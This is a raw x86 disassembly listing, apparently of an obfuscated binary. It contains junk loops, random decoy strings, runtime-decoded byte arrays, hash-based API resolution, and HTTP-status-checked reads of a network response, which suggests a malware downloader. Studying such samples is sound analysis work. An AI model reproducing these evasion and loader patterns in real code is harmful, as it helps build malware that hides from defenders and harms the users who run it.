call fcn.10023c1a
add esp, 0x20
cmp dword [ebp - 0x28], 0x21d4
jge 0x10025af8
push str.bdb_vfyrj_qmmiz_bwgleurg_xqm_wevc
call fcn.10047293
pop ecx
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x44], ebx
jmp 0x10025b34
push ecx
push ecx
push 1
push ecx
mov byte [ebp - 0x45], bl
lea ecx, [ebp - 0x45]
mov edx, 0x20e6
call fcn.1002424e
add esp, 0x10
lea eax, [ebp - 0x44]
push 1
push eax
push ecx
lea ecx, [ebp - 0x290]
call fcn.10023d0b
add esp, 0xc
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 2
jle 0x10025b04
lea ecx, [ebp - 0x360]
call fcn.10010128
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x11
call fcn.10010128
mov eax, dword [ebp - 0x278]
dec dword [eax]
jmp 0x1002597b
lea ecx, [ebp - 0x278]
call fcn.10010128
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], 0xf
call fcn.10010128
lea eax, [ebp - 0x244]
mov dword [ebp - 0x244], 0x3ae35568
push eax
push 0x12c3
push ecx
lea eax, [ebp - 0x250]
mov dword [ebp - 0x250], 0xffffffff
push eax
push ebx
push 0x50a8
lea edx, [ebp - 0x258]
mov dword [ebp - 0x258], 0x81720d70
call fcn.1002427f
add esp, 0x18
mov dword [ebp - 0x148], 0x3e1b6625
mov ecx, ebx
mov dword [ebp - 0x144], 0x770f051e
mov dword [ebp - 0x140], 0x4227701
mov dword [ebp - 0x13c], 0x7514750c
push 0x7d
pop eax
push 2
mov dword [ebp - 0x138], 0x4f007624
mov dword [ebp - 0x134], 0x80a4a10
mov dword [ebp - 0x130], 0x1e151409
mov dword [ebp - 0x12c], 0x1070305
mov dword [ebp - 0x128], 0x7711020d
mov dword [ebp - 0x124], 0x74067616
mov dword [ebp - 0x120], 0x9217f04
mov dword [ebp - 0x11c], 0x721c7223
mov dword [ebp - 0x118], 0x131d18
mov dword [ebp - 0x114], 0x7003191d
mov dword [ebp - 0x110], 0x1a7419
mov dword [ebp - 0x10c], 0x7c170920
mov dword [ebp - 0x108], 0xa1f7612
mov dword [ebp - 0x104], 0x1b02140e
mov dword [ebp - 0x100], 0x750b0008
mov word [ebp - 0xfc], 0x5902
mov byte [ebp - 0xfa], 0xef
mov word [ebp - 0x516], ax
pop esi
mov dword [ebp - 0x15c], ecx
cmp esi, 0x4c
jne 0x10025cb7
push 3
pop ecx
push 0x4d
mov dword [ebp - 0x15c], ecx
pop esi
jmp 0x10025d0a
movzx edx, byte [ebp + esi - 0x147]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x14a]
movzx ecx, word [ebp + eax*2 - 0x560]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x148]
add ecx, edx
mov edx, 0x66f6
push ecx
push 1
mov word [ebp + eax*2 - 0x560], cx
push ecx
lea ecx, [ebp - 0x15c]
call fcn.10023e11
mov ecx, dword [ebp - 0x15c]
add esp, 0xc
add esi, 2
cmp esi, 0x4f
jb 0x10025ca4
mov dword [ebp - 0x14], 0x2c41
cmp dword [ebp - 0x14], 0x2df5
jle 0x10025d8a
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov dword [ebp - 0x28], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, edi
lea ecx, [ebp - 0x4c0]
xor eax, esi
cdq
push edx
push eax
call fcn.10001b3f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10025d4f
mov eax, dword [eax]
push eax
call fcn.10047293
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4c0]
call fcn.1001084f
inc edi
cmp edi, 0x7696
jl 0x10025d33
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x26ef
jl 0x10025d2c
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x151a
jl 0x10025d27
xor eax, eax
cmp dword [ebp - 0x14], 0x295e
mov word [ebp - 0x514], ax
jge 0x10025da7
push str.yrmtfocg_ytnta_kxrfrc_wizwco_qatxjaat_nrocio_giff_isbufa_qlqq_hfasz_nkasdinc
call fcn.10047293
pop ecx
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0x284]
mov dword [ebp - 0x14], 1
push 3
call fcn.100100c6
push 4
lea ecx, [ebp - 0x2cc]
mov byte [ebp - 4], 0x1b
call fcn.100100c6
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x1c], ebx
jmp 0x10025dec
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x284]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10025ddc
mov dword [ebp - 0x1c], ebx
jmp 0x10025e05
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x64], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x10025df7
mov dword [ebp - 0x1c], ebx
jmp 0x10025e23
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2cc]
mov dword [eax + ecx*4], 0x49175055
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10025e10
mov dword [ebp - 0x14], 0x12
jmp 0x1002602a
push dword [ebp - 0x1b0]
movdqa xmm0, xmmword [0x1006caf0]
lea eax, [ebp - 0x3d0]
push eax
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x18], 0x4fc37f20
push eax
push ebx
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x224], ebx
movdqu xmmword [ebp - 0x3e0], xmm0
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x21c], ebx
call fcn.10013562
mov dword [ebp - 0x24], ebx
jmp 0x10025e94
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x84], 0x7ad95e17
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10025e83
mov dword [ebp - 0x84], ebx
jmp 0x10025f5b
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x1c], 0xfffffff0
cmp dword [ebp - 0x1c], 4
je 0x10025f55
mov esi, dword [ebp - 0x284]
mov dword [ebp - 0x24], ebx
xor ecx, ecx
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setg cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x84], eax
jl 0x10025f10
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x80]
xor edx, edx
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x18]
cmp eax, 0xbf9f
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
mov dword [esi + 8], edx
sete cl
mov dword [ebp - 0x64], ecx
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jne 0x10025eca
inc dword [ebp - 0x84]
cmp dword [ebp - 0x84], 5
jle 0x10025ea5
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x1002601c
mov esi, dword [ebp - 0x284]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x64]
test eax, eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x224]
setne cl
mov dword [ebp - 0x30], ecx
cmp dword [eax], ebx
jne 0x10025fa4
cmp dword [ebp - 0x18], ebx
jne 0x10025fa4
mov eax, ebx
jmp 0x10025fa7
xor eax, eax
inc eax
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x14]
sbb ecx, ecx
xor edx, edx
neg ecx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x84]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg cl
xor edx, edx
cmp ecx, dword [esi + 8]
mov eax, dword [ebp + eax*4 - 0x64]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
sub ecx, 0x780915d2
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx, 0x6db7
test eax, eax
je 0x10026002
mov eax, dword [ebp - 0x2cc]
cmp dword [eax + 0xc], ebx
je 0x10026002
xor eax, eax
inc eax
jmp 0x10026004
mov eax, ebx
xor ecx, ecx
cmp dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
setl cl
mov dword [ebp + eax*4 - 0x64], ecx
dec dword [ebp - 0x18]
jns 0x10025f7a
lea ecx, [ebp - 0x224]
call fcn.10010128
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x1c
jl 0x10025e35
lea ecx, [ebp - 0x2cc]
call fcn.10010128
lea ecx, [ebp - 0x284]
mov byte [ebp - 4], 0xf
call fcn.10010128
xor eax, eax
mov dword [ebp - 0x2a0], 7
mov word [ebp - 0x2b4], ax
lea ecx, [ebp - 0x2b4]
lea eax, [ebp - 0x560]
mov dword [ebp - 0x2a4], ebx
push eax
call fcn.1001d578
push 0x13
mov byte [ebp - 4], 0x1d
lea edi, [ebp - 0x560]
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
push 3
lea ecx, [ebp - 0x354]
stosw word es:[edi], ax
mov dword [ebp - 0x260], 0xbac64a68
mov dword [ebp - 0x30], 8
call fcn.100100c6
push 0x745f
lea eax, [ebp - 0x1a0]
mov byte [ebp - 4], 0x1e
push eax
push ecx
push 0x41bc
lea eax, [ebp - 0x354]
mov dword [ebp - 0x238], 0xbfc4f27d
push 1
push eax
mov edx, 0x7671
call fcn.1002427f
push 0x51ca
push ebx
push 0x233e
push 1
push 0x1f88
push 1
lea edx, [ebp - 0x260]
mov ecx, 0x447f
call fcn.10024430
push 0x4bed
push 1
push 0x1e43
push 0x2088
lea eax, [ebp - 0x238]
xor dl, dl
push eax
push 0x4fe9
mov cl, 1
call fcn.100246b1
add esp, 0x48
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x354]
call fcn.10010128
push 0x2432
push 0x4a34
push 0x61d
push 1
mov dword [ebp - 0x30], 0xffffffff
mov ecx, 0x67fa
push 0x4840
call fcn.100243e1
mov byte [ebp - 0x29], bl
add esp, 0x14
cmp byte [ebp - 0x29], 0
je 0x10026193
push 0x7f30
push 1
push 0x16ab
push 0x3360
push 0x5ca2
push 0x1408
mov dl, 1
xor cl, cl
call fcn.100246b1
add esp, 0x18
cmp dword [ebp - 0x2d0], 8
lea ecx, [ebp - 0x3f0]
push ecx
lea eax, [ebp - 0x2e4]
mov edi, 0x33b3
cmovae eax, dword [ebp - 0x2e4]
mov esi, 0x2c81
push eax
push edi
push esi
call fcn.10039052
pop ecx
pop ecx
call eax
test eax, eax
jne 0x100267fe
cmp dword [ebp - 0x2a0], 8
lea ecx, [ebp - 0x418]
push ecx
lea eax, [ebp - 0x2b4]
cmovae eax, dword [ebp - 0x2b4]
push eax
push edi
push esi
call fcn.10039052
pop ecx
pop ecx
call eax
test eax, eax
jne 0x100267fe
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3f0]
push eax
push 3
push ebx
lea eax, [ebp - 0x418]
push eax
push edi
push 0x434a
call fcn.10039052
pop ecx
pop ecx
call eax
test eax, eax
js 0x100267fe
cmp dword [ebp - 0x38], 0
je 0x100267fe
push 0xb
pop eax
xor ecx, ecx
mov word [ebp - 0x3d0], ax
push 0x47
mov word [ebp - 0x3c8], cx
pop ecx
push 2
mov dword [ebp - 0x60], 0x55043100
mov dword [ebp - 0x5c], 0x2701fa7
mov word [ebp - 0x58], 0x133
mov byte [ebp - 0x56], 0x11
mov word [ebp - 0x180], cx
pop esi
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x20], esi
cmp esi, eax
jae 0x100263ab
movzx eax, byte [ebp - 0x60]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x1002629f
movzx ecx, byte [ebp + esi - 0x60]
dec esi
add esi, ecx
lea eax, [ecx + 1]
mov dword [ebp - 0x160], eax
jmp 0x100263a0
movzx edx, byte [ebp + esi - 0x5f]
mov eax, esi
sub eax, dword [ebp - 0x160]
push 0x19c8
push 1
movzx eax, byte [ebp + eax - 0x62]
movzx eax, word [ebp + eax*2 - 0x180]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x1a8c
sub ecx, eax
movzx eax, byte [ebp + esi - 0x60]
mov word [ebp + eax*2 - 0x180], cx
lea eax, [ebp - 0x160]
push eax
push 1
push 0x2176
push 1
mov ecx, 0x3adf
call fcn.10024430
mov dword [ebp - 0x14], 0x1b61
add esp, 0x18
cmp dword [ebp - 0x14], 0x1d35
jle 0x1002635c
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov eax, esi
mov dword [ebp - 0x30], ebx
cdq
idiv edi
mov esi, dword [ebp - 0x30]
mov ebx, edx
mov eax, ebx
mov ecx, 0x10079ad8
and eax, esi
cdq
push edx
push eax
call fcn.1000fde8
inc esi
cmp esi, 0x5811
jl 0x10026324
mov esi, dword [ebp - 0x28]
inc edi
push 0
pop ebx
cmp edi, 0x4632
jl 0x10026317
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x4705
jl 0x10026315
mov esi, dword [ebp - 0x20]
mov byte [ebp - 4], 0x1f
cmp dword [ebp - 0x14], 0x1a98
jge 0x10026399
mov edx, str.scwsklkor_sogi_ryrsx_kts_ahr_fbpzcv_lepubzdv_xhufxchj_uthhsqa
mov ecx, 0x10079ad8
call fcn.10012b8c
jmp 0x10026399
mov dword [ebp - 4], 0x1d
push 0xb
pop eax
add esi, 2
jmp 0x1002626f
mov dword [ebp - 0x24], 0x1b00
cmp dword [ebp - 0x24], 0x1c1d
jle 0x10026437
mov dword [ebp - 0x20], ebx
mov edx, ebx
mov dword [ebp - 0x28], 0x3e9c
mov dword [ebp - 0x14], edx
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
lea ecx, [ebp - 0x478]
and eax, edx
cdq
push edx
push eax
call fcn.10001b3f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100263ee
mov eax, dword [eax]
push eax
call fcn.10047293
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x478]
call fcn.1001084f
mov edx, dword [ebp - 0x14]
inc edi
cmp edi, 0x6ffb
jl 0x100263ce
inc esi
cmp esi, 0x2596
jl 0x100263cc
mov esi, dword [ebp - 0x20]
add edx, esi
dec dword [ebp - 0x28]
mov dword [ebp - 0x14], edx
jne 0x100263ca
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x64d7
jl 0x100263be
call dword [sym.imp.USER32.dll_ReleaseCapture]
xor eax, eax
cmp dword [ebp - 0x24], 0x1834
mov word [ebp - 0x17a], ax
jge 0x10026454
push str.tdisozi_jmoyyb_qqgvaixe_ezoj_qdc_bmdsnropv_npmcvejhd_tfdzamout_ycnrerhzz_wxijawz_rpzncchj_euvcbhhen_fvlkqd_fafu
call fcn.10047293
pop ecx
mov dword [ebp - 4], 0x1d
lea ecx, [ebp - 0x1d4]
xor eax, eax
mov dword [ebp - 0x1c0], 7
mov word [ebp - 0x1d4], ax
lea eax, [ebp - 0x180]
push eax
mov dword [ebp - 0x1c4], ebx
call fcn.1001d578
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x1d4]
cmp dword [ebp - 0x1c0], 8
mov eax, dword [ebp - 0x1c4]
cmovae ecx, dword [ebp - 0x1d4]
push dword [ebp - 0x1a0]
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x230], ebx
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x22c], ebx
cmovae ecx, dword [ebp - 0x1d4]
push eax
push ecx
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x228], ebx
call fcn.10027308
push 0x1fc8
push 1
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 0x24
push eax
push 1
mov edx, 0x651c
mov cl, 1
call fcn.1002452f
mov edx, dword [ebp - 0x150]
add esp, 0x10
cmp dword [edx + 0x14], 8
jb 0x10026518
mov ecx, dword [edx]
jmp 0x1002651a
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x10026528
mov edx, dword [edx]
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x1f8], ebx
push eax
push edx
mov dword [ebp - 0x1f4], ebx
mov dword [ebp - 0x1f0], ebx
call fcn.10027308
push ecx
push 1
lea eax, [ebp - 0x1f8]
mov byte [ebp - 4], 0x25
push 0x7c8
push eax
mov edx, 0x58c9
call fcn.1002403f
cmp dword [ebp - 0x1c0], 8
lea esi, [ebp - 0x348]
mov edi, esp
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x1d4]
cmovae edx, dword [ebp - 0x1d4]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x348]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3d0]
push dword [ebp - 0x1f8]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x100267b4
mov esi, dword [ebp - 0x194]
mov cl, 1
mov dword [ebp - 0x164], ebx
cmp esi, dword [ebp - 0x190]
je 0x10026620
add esi, 0x18
test cl, cl
je 0x10026608
cmp dword [esi + 0x14], 8
jb 0x100265e7
mov edi, dword [esi]
jmp 0x100265e9
mov edi, esi
cmp dword [esi - 4], 8
jb 0x100265f4
mov edx, dword [esi - 0x18]
jmp 0x100265f7
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x38]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1002660a
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x190]
jne 0x100265d9
test cl, cl
je 0x100267b4
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x348]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x100267b4
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x164]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x100267b4
cmp dword [ebp - 0x164], 0x130
je 0x10026674
cmp dword [ebp - 0x164], 0xc8
jne 0x100267b4
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x408]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x100267b4
mov esi, dword [ebp - 0x400]
mov dword [ebp - 0x1a4], esi
test esi, esi
je 0x100267b4
mov eax, dword [esi]
lea ecx, [ebp - 0x5a8]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1002679b
mov edi, dword [ebp - 0x5a0]
lea ecx, [ebp - 0x3e]
mov eax, dword [ebp - 0x178]
push ecx
push edi
push eax
mov dword [ebp - 0x174], eax
lea ecx, [ebp - 0x178]
lea eax, [ebp - 0x248]
mov dword [ebp - 0x234], edi
push eax
mov byte [ebp - 0x3e], bl
call fcn.10026dea
mov eax, ebx
mov dword [ebp - 0x16c], ebx
mov ebx, dword [ebp - 0x178]
mov edx, edi
mov dword [ebp - 0x1bc], edx
mov dword [ebp - 0x168], eax
mov ecx, dword [esi]
add eax, ebx
lea ebx, [ebp - 0x16c]
push ebx
push edx
push eax
push esi
call dword [ecx + 0xc]
mov ebx, dword [ebp - 0x178]
test eax, eax
js 0x10026779
sub esp, 0xc
lea eax, [ebp - 0x168]
lea edx, [ebp - 0x16c]
mov cl, 1
push 0x5e3f
push eax
call fcn.1002401d
add esp, 0x14
lea eax, [ebp - 0x1bc]
push 0x5c01
push 1
push eax
push 0x47c2
mov eax, edx
mov dl, 1
push 0x3ec1
push eax
mov cl, dl
call fcn.100246b1
mov eax, dword [ebp - 0x168]
add esp, 0x18
cmp eax, edi
jae 0x10026779
mov edx, dword [ebp - 0x1bc]
jmp 0x10026706
lea eax, [ebp - 0x168]
mov dl, 1
push eax
lea eax, [ebp - 0x234]
push eax
push ecx
lea eax, [ebp - 0x178]
push eax
call fcn.100248c4
add esp, 0x10
xor ebx, ebx
push ecx
lea eax, [ebp - 0x1a4]
push eax
push ecx
mov cl, 1
call fcn.100249d5
add esp, 0xc
mov dword [ebp - 0x1a4], ebx
lea eax, [ebp - 0x38]
mov edx, 0x28fc
push eax
push ebx
push 0xfa1
push ebx
mov cl, 1
call fcn.1002452f
add esp, 0x10
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0x1f8]
call fcn.10010cf8
lea ecx, [ebp - 0x230]
call fcn.10010cf8
push ebx
push 1
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 0x1d
call fcn.10010a23
mov edi, 0x33b3
push edi
push 0x3fb1
call fcn.10039052
pop ecx
pop ecx
call eax
push 4
lea ecx, [ebp - 0x2c0]
call fcn.100100c6
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x3ac]
push dword [ebp - 0x248]
movdqa xmm0, xmmword [0x1006cae0]
lea ecx, [ebp - 0x204]
push eax
lea eax, [ebp - 0x3bc]
mov dword [ebp - 0x204], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x3bc], xmm0
mov dword [ebp - 0x200], ebx
mov dword [ebp - 0x1fc], ebx
call fcn.10013562
mov byte [ebp - 4], 0x27
mov dword [ebp - 0x14], ebx
jmp 0x1002687c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c0]
mov dword [eax + ecx*4], 0xf75dcec3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10026869
mov esi, dword [ebp - 0x204]
mov dword [esi + 8], ebx
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x14], ebx
jmp 0x100268b2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x24c], 0xf42c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x100268a1
mov edx, dword [ebp - 0x2c0]
mov eax, dword [esi + 8]
mov ecx, dword [esi + 8]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [edx + ecx*4], eax
jne 0x100268e6
mov eax, dword [ebp - 0x204]
mov ecx, 0x11023dcd
sub ecx, dword [eax]
jne 0x100268e6
cmp dword [ebp - 0x20], ebx
je 0x100268f3
cmp dword [ebp - 0x24c], ebx
je 0x100268f3
xor eax, eax
inc eax
jmp 0x100268f5
mov eax, ebx
mov ecx, 0xad67a4be
cmp ecx, eax
sbb eax, eax
inc eax
imul eax, eax, 0xad72
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x10026933
push 0x4f17
push ebx
push 0x6e4f
push 1
mov edx, 0x74d1
mov cl, 1
call fcn.1002452f
add esp, 0x10
inc dword [esi + 8]
cmp dword [esi + 8], 3
jle 0x1002688b
lea ecx, [ebp - 0x204]
call fcn.10010128
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 0x1d
call fcn.10010128
mov ecx, dword [ebp - 0x23c]
lea eax, [ebp - 0x178]
push eax
call fcn.10026bb2
push ebx
push 1
lea ecx, [ebp - 0x2b4]
call fcn.10010a23
push ebx
push 1
lea ecx, [ebp - 0x2e4]
call fcn.10010a23
lea ecx, [ebp - 0x194]
call fcn.10026c67
lea ecx, [ebp - 0x178]
call fcn.10026d37
lea ecx, [ebp + 8]
call fcn.10026c67
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret